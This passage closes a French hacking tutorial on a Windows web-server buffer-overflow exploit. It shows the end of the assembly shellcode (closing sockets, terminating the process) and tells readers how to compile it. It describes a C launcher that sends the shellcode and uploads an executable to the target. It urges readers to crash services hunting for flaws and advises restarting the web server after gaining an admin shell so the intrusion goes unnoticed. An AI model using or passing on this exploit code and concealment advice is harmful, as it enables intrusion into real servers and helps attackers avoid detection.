; socket client acceptée
call dword ptr [ebp+52]
; closesocket
push
[esi-20]
; socket serveur
call dword ptr [ebp+52]
; closesocket
call
dword ptr [ebp+12] ;
GetCurrentProcess()
xor ebx,ebx
push ebx
; push NULL
push eax
; push la valeur retournée par GetCurrentProcess
call dword ptr [ebp+8]
; TerminateProcess(Handle_process)
Ouf. Nous voilà au bout de nos peines ! Vous compilez ça avec Tasm, Nasm ou Masm, ce qui vous plait le mieux, et voila.
Conclusion
Voila, c'est terminé
pour cet exploit. Je tiens à remercier énormément _rix
pour m'avoir initié au monde merveilleux des buffer overflow, qui peuvent
être considérés comme l'essence du hacking (mais si !).
J'espère que j'ai été assez clair. J'ai joint un "lanceur"
pour cet exploit, il est codé en C, il se connecte sur le port 80, envoi
le shellcode, se connecte sur le port 53 et envoi un fichier local executable.
C'est automatique, pour les faignants comme moi et quelqu'un que je ne citerai
pas, il se reconnaîtra (pour peu qu'il me lise bien sur). La prochaîne
fois, c'est promis, on s'attaque à un exploit Linux (shellcode plus simple),
ou alors un autre buffer overflow win32, mais on utilisera les fonctions de
Wininet pour que le prog aille lui même chercher le fichier sur le Web
et l'execute tout seul comme un grand. Enfin, ce sera pour une autre fois ;)))
En tout cas, ne vous arrêtez pas de chercher des failles ! Coller des
énormes chaînes de 'AAAAA' partout comme des fous ! Plantez tout
! Hesitez pas à me faire par de vos trouvailles en me mailant.
Ou vous me choppez sur IRC undernet.
Bon aller je vous laisse à vos occupations, je vous ai assez emmerdé
avec mes buffer overflow :))
(N.B :Au fait,
une fois que vous avez un shell admin ou le contrôle du serveur, la première
chose à faire c'est de redémarrer le serveur web, pour pas que
ce soit trop flag quoi :) la syntaxe c'est "net start https-NOM_DE_LA_MACHINE"
Voila, merci de m'avoir lu, et à bientôt !